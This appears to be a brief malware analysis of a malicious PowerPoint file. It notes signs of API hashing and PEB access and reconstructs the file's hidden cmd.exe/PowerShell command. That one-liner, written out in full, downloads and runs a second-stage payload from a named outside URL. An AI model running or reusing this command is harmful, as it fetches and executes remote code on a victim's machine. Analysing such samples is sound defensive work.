The sample is a PowerPoint file containing heuristics indicating API hashing, PEB access, and a reference to the URLDownloadToFile API. It also contains a suspicious invocation of cmd.exe with a PowerShell execution flag, likely to download and execute a second-stage payload from the embedded URL http://bmwftp.blogdns.net:8080/nnn/. The reconstructed command line is cmd.exe /c "powershell -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://bmwftp.blogdns.net:8080/nnn/')\"".
